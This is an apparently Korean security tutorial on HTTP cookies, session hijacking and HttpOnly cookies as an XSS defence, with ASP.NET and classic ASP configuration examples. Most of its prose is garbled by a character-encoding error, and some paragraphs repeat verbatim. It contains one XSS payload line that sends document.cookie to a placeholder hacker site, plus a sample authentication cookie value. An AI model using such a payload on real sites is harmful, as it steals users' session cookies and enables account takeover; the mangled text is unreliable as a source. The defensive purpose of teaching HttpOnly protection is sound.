security > HTTPOnly Cookies - HTTPOnly Cookie ÀÌÇØÇϱâ (Cross Site Scripting ¹æÁö) µî·ÏÀÏ : 2019-10-31 14:46 Á¶È¸¼ö : 52,914Cookie¿¡ ´ëÇÑ ÀÌÇØ
ÄíÅ°´Â ASP.NET, PHP¿Í °°Àº ƯÁ¤ ±â¼ú¿µ¿ª¿¡ ±¹ÇÑµÈ °Íµµ ¾Æ´Ï°í, ƯÁ¤ Client³ª Server¿¡¸¸ ±¹ÇÑµÈ ±â¼úµµ ¾Æ´Õ´Ï´Ù. ÄíÅ°´Â ¼ö½Ê ³â ÀüºÎÅÍ »ç¿ëµÇ¾î ¿ÔÀ¸¸ç ÃÖ±Ù¿¡´Â HTTP¿¡ ÀÖ¾î¼ ¾ø¾î¼´Â ¾ÈµÉ Á¤µµ·Î ±¤¹üÀ§ÇÏ°Ô ÀÌ¿ëµÇ°í ÀÖ½À´Ï´Ù. ¾î¶°ÇÑ ¼¹öµµ HTTPÅë½ÅÀ» ÇÑ´Ù¸é ÄíÅ°¸¦ ÁÖ°í ¹ÞÀ» ¼ö ÀÖÀ¸¸ç, Ŭ¶óÀ̾ðÆ®¿¡¼µµ ÄíÅ°¿¡ Á¢±ÙÇÏ°í °ü¸®ÇÒ ¼ö ÀÖ½À´Ï´Ù. ¶ÇÇÑ HTTP¿Í HTTPS»çÀÌ¿¡µµ ÄíÅ°¸¦ ±³È¯ÇÒ ¼ö ÀÖÀ¸¸ç, °°Àº µµ¸ÞÀÎÀ̶ó¸é ¼·Î ´Ù¸¥ SchemeÀÏÁö¶óµµ ÄíÅ°¸¦ °øÀ¯ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÄíÅ°´Â ¼¹ö¿¡¼µµ, Ŭ¶óÀ̾ðÆ®¿¡¼µµ »ý¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÏ´Ü ÄíÅ°°¡ Çѹø »ý¼ºµÇ¸é ºê¶ó¿ìÀú´Â ÇØ´ç ÄíÅ° Á¤º¸¸¦ ±â¾ïÇÏ°Ô µË´Ï´Ù. ±×¸®°í ÀÌÈÄÀÇ ¸ðµç ¿äû(Request)¿¡ ÄíÅ°¸¦ Æ÷ÇÔÇÏ¿© ¼¹ö·Î Àü´ÞÇÕ´Ï´Ù. ¼¹ö´Â ºê¶ó¿ìÀúÀÇ ¿äû(Request)¿¡ Æ÷ÇÔµÈ ÄíÅ°¸¦ ÀÐ¾î µéÀÏ ¼ö ÀÖ½À´Ï´Ù. ÄíÅ°¸¦ ÀÌÇØÇϴµ¥ ÀÖ¾î °¡Àå Áß¿äÇÑ ºÎºÐ Áß Çϳª´Â ÄíÅ°·Î ÀÎÇØ ¾ß±âµÇ´Â º¸¾ÈÀ§Çù¿¡ ´ëÇØ ÀÌÇØÇÏ´Â °ÍÀÔ´Ï´Ù. ¼ö¸¹Àº »çÀÌÆ®µé¿¡¼ ¹Î°¨ÇÑ °³ÀÎÁ¤º¸¸¦ ÄíÅ°¿¡ ÀúÀåÇÏ°í ÀÖÀ¸¸ç, ÇØÄ¿µéÀº ´Ù¾çÇÑ ¹æ¹ýÀ¸·Î ÀÌ ÄíÅ°¸¦ Å»ÃëÇÏ°íÀÚ Çϱ⠶§¹®ÀÔ´Ï´Ù. ÀÌ·¯ÇÑ ÄíÅ°¿¡ ´ëÇÑ º¸¾È °ø°Ý Áß °¡Àå ´ëÁßÀûÀÎ °Í Áß Çϳª´Â ¹Ù·Î ¼¼¼Ç ÇÏÀÌÀçÅ·(Session hijacking) °ø°Ý ÀÔ´Ï´Ù. ¾Ë´Ù½ÃÇÇ HTTP´Â Stateless ÇÁ·ÎÅäÄÝÀÔ´Ï´Ù. HTTP´Â ±âº»ÀûÀ¸·Î »óÅÂÁ¤º¸¸¦ ±â¾ïÇÏÁö ¸øÇϱ⠶§¹®¿¡, ¼¹ö´Â ¿äûÀÚ°¡ ´©±¸ÀÎÁö, °°Àº »ç¶÷ÀÎÁö ´Ù¸¥ »ç¶÷ÀÎÁö ½Äº° ÇÒ ¼ö ¾ø½À´Ï´Ù. ÀÌ·¯ÇÑ ¹®Á¦¸¦ ÇØ°áÇϱâ À§ÇØ, ¼¹ö´Â »ç¿ëÀÚ ½Äº°Á¤º¸¸¦ ÄíÅ°¿¡ ÀúÀåÇϸç, ÄíÅ°¿¡ ÀúÀåµÈ Á¤º¸¸¦ ÅëÇØ °¢ »ç¿ëÀÚ¸¦ ±¸º°ÇÕ´Ï´Ù. ¿¹¸¦ µé¸é, ASP.NET ¼¹ö´Â »ç¿ëÀÚ ¸¶´Ù À¯ÀÏÅ°¸¦ »ý¼ºÇÏ¿© .ASPXAUTH¶ó´Â À̸§ÀÇ ÄíÅ°¿¡ ÀúÀåÇϸç, À̸¦ ÅëÇØ »ç¿ëÀÚ¸¦ ½Äº°ÇÕ´Ï´Ù. .ASPXAUTH=4A10163C1F3299AAADF4C90B2F56AE90F1502CF86CDE4F026A422D7820732A66445B16EECC79B47EEF4F4EF36CB7BF9AFD2A [ºê¶ó¿ìÀúÀÇ ÄíÅ°¿¡ ÀúÀåµÈ »ç¿ëÀÚ ½Äº°Á¤º¸] µû¶ó¼ ÇØÄ¿°¡ ´Ù¸¥ »ç¿ëÀÚÀÇ ÄíÅ°¸¦ Å»ÃëÇÏ°Ô µÈ´Ù¸é, ÇØÄ¿´Â ÄíÅ°¿¡ Æ÷ÇÔµÈ »ç¿ëÀÚ ½Äº°Á¤º¸¸¦ ¹ÙÅÁÀ¸·Î ´Ù¸¥ »ç¿ëÀÚ·Î À§Àå ÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. ¼¹ö´Â ÄíÅ°¸¦ ¹ÙÅÁÀ¸·Î »ç¿ëÀÚ¸¦ ½Äº°Çϱ⠶§¹®¿¡, ¿äûÀ» º¸³½ »ç¶÷ÀÌ ÇØÄ¿ÀÎÁö ¾Ë ¼ö °¡ ¾øÀ¸¸ç ¸ðµç ±ÇÇÑÀ» ³»¾îÁÖ°Ô µË´Ï´Ù. ÄíÅ°¸¦ ÈÉÄ¡´Â ¹æ¹ýÀº ´Ù¾çÇÕ´Ï´Ù. ¿¹¸¦ µé¸é °ø°ø Wifi¸ÁÀÇ Åë½ÅÆÐŶÀ» ºÐ¼®Çϰųª, ISP»ç¾÷ÀÚÀÇ Åë½ÅÄÉÀ̺íÀ» °¨Ã»ÇÏ´Â ¹æ¹ýµµ ÀÖ½À´Ï´Ù. ¾Æ´Ï¸é, »ç¿ëÀÚ ÄÄÇ»ÅÍ¿¡ ½ÉÀº ÇØÅ·ÇÁ·Î±×·¥À» ÅëÇØ ÄíÅ°¸¦ °¡·Îä´Â ¹æ¹ýµµ ÀÖ½À´Ï´Ù. HTTP Only Cookies ÄíÅ°´Â Ŭ¶óÀ̾ðÆ®¿¡¼ ÀÚ¹Ù½ºÅ©¸³Æ®·Î Á¶È¸ÇÒ ¼ö Àֱ⠶§¹®¿¡, ÇØÄ¿µéÀº ÀÚ¹Ù½ºÅ©¸³Æ®·Î ÄíÅ°¸¦ °¡·Îä°íÀÚ ½Ãµµ¸¦ ÇÏ°Ô µË´Ï´Ù. °¡Àå ´ëÇ¥ÀûÀÎ °ø°Ý Áß Çϳª°¡ CSS(Cross Site Scripting) ÀÔ´Ï´Ù. location.href = 'http://ÇØÄ¿»çÀÌÆ®/?cookies=' + document.cookie; ÇØÄ¿°¡ À§¿Í °°Àº °Ô½Ã¹°À» °ø°³°Ô½ÃÆÇ¿¡ ÀÛ¼ºÇÒ °æ¿ì, ÀÌ °Ô½Ã¹°À» ÀÐÀº ´Ù¸¥ »ç¿ëÀÚ´Â ¾Ë¾ÆÂ÷¸®±âµµ Àü¿¡ ÀÚ½ÅÀÇ ¸ðµç ÄíÅ°¸¦ ÇØÄ¿¿¡°Ô Àü¼ÛÇÏ°Ô µË´Ï´Ù. ÀÌ·¯ÇÑ CSS Ãë¾àÁ¡À» ÇØ°áÇÏ´Â ¹æ¹ýÀº, ¹Ù·Î ºê¶ó¿ìÀú¿¡¼ ÄíÅ°¿¡ Á¢±ÙÇÒ ¼ö ¾øµµ·Ï Á¦ÇÑÇÏ´Â °ÍÀÔ´Ï´Ù. ÀÌ·¯ÇÑ ¿ªÇÒÀ» ÇÏ´Â °ÍÀÌ ¹Ù·Î HTTP Only CookieÀÔ´Ï´Ù. °³¹ßÀÚ°¡ ´ÙÀ½°ú °°ÀÌ °£´ÜÇÑ Á¢¹Ì»ç¸¦ ÄíÅ°»ý¼ºÄڵ忡 Ãß°¡ÇÔÀ¸·Î½á È°¼ºÈ ÇÒ ¼ö ÀÖ½À´Ï´Ù. °¡Àå ¸¶Áö¸·¿¡ HttpOnly¶ó´Â Á¢¹Ì»ç¸¸ Ãß°¡ÇÔÀ¸·Î½á HTTP Only Cookie°¡ È°¼ºÈ µÇ¸ç, À§¿¡¼ ¸»ÇÑ XSS¿Í °°Àº °ø°ÝÀÌ Â÷´ÜµÇ°Ô µË´Ï´Ù. HTTP Only Cookie¸¦ ¼³Á¤ÇÏ¸é ºê¶ó¿ìÀú¿¡¼ ÇØ´ç ÄíÅ°·Î Á¢±ÙÇÒ ¼ö ¾ø°Ô µÇÁö¸¸, ÄíÅ°¿¡ Æ÷ÇÔµÈ Á¤º¸ÀÇ ´ëºÎºÐÀÌ ºê¶ó¿ìÀú¿¡¼ Á¢±ÙÇÒ ÇÊ¿ä°¡ ¾ø±â ¶§¹®¿¡ HTTP Only Cookie´Â ±âº»ÀûÀ¸·Î Àû¿ëÇÏ´Â °ÍÀÌ ÁÁ½À´Ï´Ù. ASP.NET»ó¿¡¼ HTTP Only Cookie¸¦ ¼³Á¤ÇÏ´Â ¹æ¹ýÀº ¸Å¿ì °£´ÜÇÕ´Ï´Ù. ÄíÅ°¸¦ Ãß°¡ÇÏ½Ç ¶§ HttpOnly ¼Ó¼ºÀ» true·Î ¼³Á¤ÇÏ½Ã¸é µË´Ï´Ù. Response.Cookies.Add(new HttpCookie("ÄíÅ°¸í") { Value = "ÄíÅ° °ª", HttpOnly = true }); HttpOnlyÀÇ ±âº»°ªÀº falseÀÔ´Ï´Ù. ¸¸¾à ±âº»°ªÀ» true·Î ¼³Á¤ÇϽ÷Á¸é web.config¿¡¼ ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÏ½Ã¸é µË´Ï´Ù. <httpCookies httpOnlyCookies="true" /> Set-Cookie: ÄíÅ°¸í=ÄíÅ°°ª; path=/; HttpOnly °¡Àå ¸¶Áö¸·¿¡ HttpOnly¶ó´Â Á¢¹Ì»ç¸¸ Ãß°¡ÇÔÀ¸·Î½á HTTP Only Cookie°¡ È°¼ºÈ µÇ¸ç, À§¿¡¼ ¸»ÇÑ XSS¿Í °°Àº °ø°ÝÀÌ Â÷´ÜµÇ°Ô µË´Ï´Ù. HTTP Only Cookie¸¦ ¼³Á¤ÇÏ¸é ºê¶ó¿ìÀú¿¡¼ ÇØ´ç ÄíÅ°·Î Á¢±ÙÇÒ ¼ö ¾ø°Ô µÇÁö¸¸, ÄíÅ°¿¡ Æ÷ÇÔµÈ Á¤º¸ÀÇ ´ëºÎºÐÀÌ ºê¶ó¿ìÀú¿¡¼ Á¢±ÙÇÒ ÇÊ¿ä°¡ ¾ø±â ¶§¹®¿¡ HTTP Only Cookie´Â ±âº»ÀûÀ¸·Î Àû¿ëÇÏ´Â °ÍÀÌ ÁÁ½À´Ï´Ù. ASP.NET»ó¿¡¼ HTTP Only Cookie¸¦ ¼³Á¤ÇÏ´Â ¹æ¹ýÀº ¸Å¿ì °£´ÜÇÕ´Ï´Ù. ÄíÅ°¸¦ Ãß°¡ÇÏ½Ç ¶§ HttpOnly ¼Ó¼ºÀ» true·Î ¼³Á¤ÇÏ½Ã¸é µË´Ï´Ù. ¸ðµç ASP ÆäÀÌÁöÀÇ »ó´Ü¿¡ ¾Æ·¡Ã³·³ À¥ÆäÀÌÁö Çì´õ°ªÀ» Ãß°¡ÇÔÀ¸·Î½á °£´ÜÇÏ°Ô Ã³¸® ÇÒ ¼öµµ ÀÖ´Ù. Response.AddHeader "Set-Cookie", ""&CStr(Request.ServerVariables("HTTP_COOKIE"))&";path=/;HttpOnly"&""
|